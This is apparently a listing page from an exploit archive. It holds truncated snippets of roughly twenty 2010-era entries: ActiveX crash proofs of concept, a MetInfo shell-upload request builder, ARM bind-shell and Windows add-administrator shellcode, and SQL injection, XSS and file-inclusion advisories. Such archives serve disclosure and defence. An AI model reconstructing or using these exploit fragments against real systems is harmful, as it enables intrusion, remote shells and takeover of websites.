LEADTOOLS v11.5.0.9 lttmb11n.ocx BrowseDir() Access Violation

Exploit for windows platform in category dos / poc ============================================================= LEADTOOLS v11.5.0.9 lttmb11n.ocx BrowseDir Access Violation ============================================================= Test Exploit Page targetFile = "C:\Program...

Avidemux <= 2.5.4 Buffer Overflow Vulnerability

Exploit for windows platform in category dos / poc =============================================== Avidemux Start Avidemux -- Load/Run Project -- crash!! Note: You can also use another video file format you would have to change the Format in Line and maybe some other stuff 54 too file = ARGV0 if...

LeadTools 11.5.0.9 - 'ltisi11n.ocx' DriverName() Access Violation Denial of Service

Test Exploit Page targetFile = "C:\Program Files\Rational\common\ltisi11n.ocx" prototype = "Property Let DriverName As String" memberName = "DriverName" progid = "LEADISISLib.LEADISIS" argCount = 1 arg1=String65535, "A" target.DriverName = arg1 Exception Code: ACCESSVIOLATION Disasm: 7C80BEB9 MOV...

MetInfo 3.0 Shell Upload

\n"; $data .= "----xSsT0rm--\r\n"; $packet = "POST $path/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.0\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Content-Length: ".strlen$data."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=xSsT0rm\r\n"; $packet .=...

WordPress cformsII插件rs和rsargs参数脚本注入漏洞

BUGTRAQ ID: 44587 CVE ID: CVE-2010-3977 WordPress是一款免费的论坛Blog系统。 WordPress所使用的cformsII插件没有正确的过滤用户提交给wp-content/plugins/cforms /libajax.php页面的rs和rsargs参数便显示给了用户。攻击者可以通过提交恶意的POST请求来利用这个漏洞，当用户查看生成页面时就会导致执行所注入的代码。 Nicole Stich cformsII 11.5 厂商补丁： Nicole Stich ------------...

MetInfo 3.0 PHP代码注入漏洞

MetInfo企业网站管理系统是一个功能完善的营销型企业网站管理平台，PHP+MYSQL架构 MetInfo 3.0的/include/common.inc.php文件第67行： evalbase64decode$allclass0; $allclass0变量未初始化，因此我们可以控制其值，进行代码注入的利用。 MetInfo 3.0 SEBUG临时解决方法： 对$allclass0变量进行初始化 厂商补丁： metinfo ----- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.metinfo.cn/...

AlstraSoft E-Friends 4.96 Multiple Remote Vulnerabilities

AlstraSoft E-Friends 4.96 Multiple Remote Vulnerabilities Name AlstraSoft E-Friends Vendor http://www.alstrasoft.com Versions Affected 4.96 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmail dot com Date 2010-10-27 X. INDEX I. ABOUT THE...

ARM Bind Connect UDP Port 68

ARM Bind Connect UDP Port 68. Shellcode exploit for arm platform / Title: arm-bind-connect-udp Brief: Bind to port 68 on any local address and plug a udp shell onto to port 67 on 192.168.0.1 Author: Daniel Godas-Lopez / .if 1 / close3, close4, ..., close1024 / mov %r1, $1024 1: mov %r0, %r1 svc...

Apache Hadoop MapReduce JobTracker Web Detection

The web interface for Hadoop MapReduce JobTracker was detected on the remote host. This interface can be used to monitor jobs submitted to the Hadoop MapReduce engine. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid50304; scriptversion"1.7"; scriptcvsdate"Date:...

RTShop v2.0 <= Remote SQL Injection Vulnerability

Exploit for php platform in category web applications ================================================= RTShop v2.0 Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : Inj3ct0r.com 0 1 + Support e-mail : submitatinj3ct0r.com 1 0 0 1 1 0 I'm KnocKout member...

TradeSE (all version) - (SQL/XSS) Multiple Vulnerabilities

Exploit for php platform in category web applications ========================================================== TradeSE all version - SQL/XSS Multiple Vulnerabilities ========================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-...

phpBB 2 Remote File Inclusion

================================================ Fully Modded phpBB 2 Remote File Include Exploit ================================================ +Title : Fully Modded phpBB 2 Remote File Include Exploit +Author : josalijoe +Contact : [email protected] +Download :...

PHP Hosting Directory 2.0 background verification bypass vulnerability-vulnerability warning-the black bar safety net

PHP Hosting Directory 2.0 program background verification is not strictly, can lead to bypass the password verification sign in the background. Google: "powered by PHP Hosting Directory 2.0" Default background:http://127.0.0.1/admin Use method: Do not need to enter any password, through cookies...

Joomla PollXT Remote File Inclusion

=========================================== Joomla Component compollxt RFI Vulnerability =========================================== + Author : josalijoe + Homepage : http://josalijoe.org/ & http://indonesiancoder.com/ + Mail : josalijoeatyahoodotcom + Date : oktober 08,2010 + Vendor : N/A + Dork...

MS09-053 Microsoft IIS FTP Server NLST Response Overflow

This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP service. The flaw is triggered when a special NLST argument is passed while the session has changed into a long directory path. For this exploit to work, the FTP server must be configured to allow write access to the file...

win32 generic - add new local administrator 326 bytes

Exploit for win32 platform in category shellcode ===================================================== win32 generic - add new local administrator 326 bytes ===================================================== / Title: generic win32 - add new local administrator 326 bytes Author: Anastasios...

TradeMC E-Ticaret SQL and XSS Multiple Vulnerabilities

Exploit for php platform in category web applications ====================================================== TradeMC E-Ticaret SQL and XSS Multiple Vulnerabilities ====================================================== My + Author : KnocKout Contact : email protected + Special Thanks : H4x0re...

MODx Revolution 2.0.2-pl Cross Site Request Forgery

img...

Month Of Abysssec Undisclosed Bugs - Zen Photo Image Gallery 1.3

body font-family:tahoma;font-size:14px "; echo "Zen Photo Image Gallery 1.3 Reset admin Password By : Abysssec @ Inc www.Abysssec.com After click on below , if target will can connect to your MysqlHost : You Must view 'GO...

Car Portal 2.0 Blind SQL Injection

+Title Car Portal v2.0 BLIND SQL Injection Vulnerability +Author RoAdKiLlEr +Contact RoAdKiLlEratKhg-CrewdotWs +Tested on Win Xp Sp 2/3 --------------------------------------------------------------------------- Founded by RoAdKiLlEr Team: Albanian Hacking Crew Contact: RoAdKiLlEratKhg-CrewdotWs...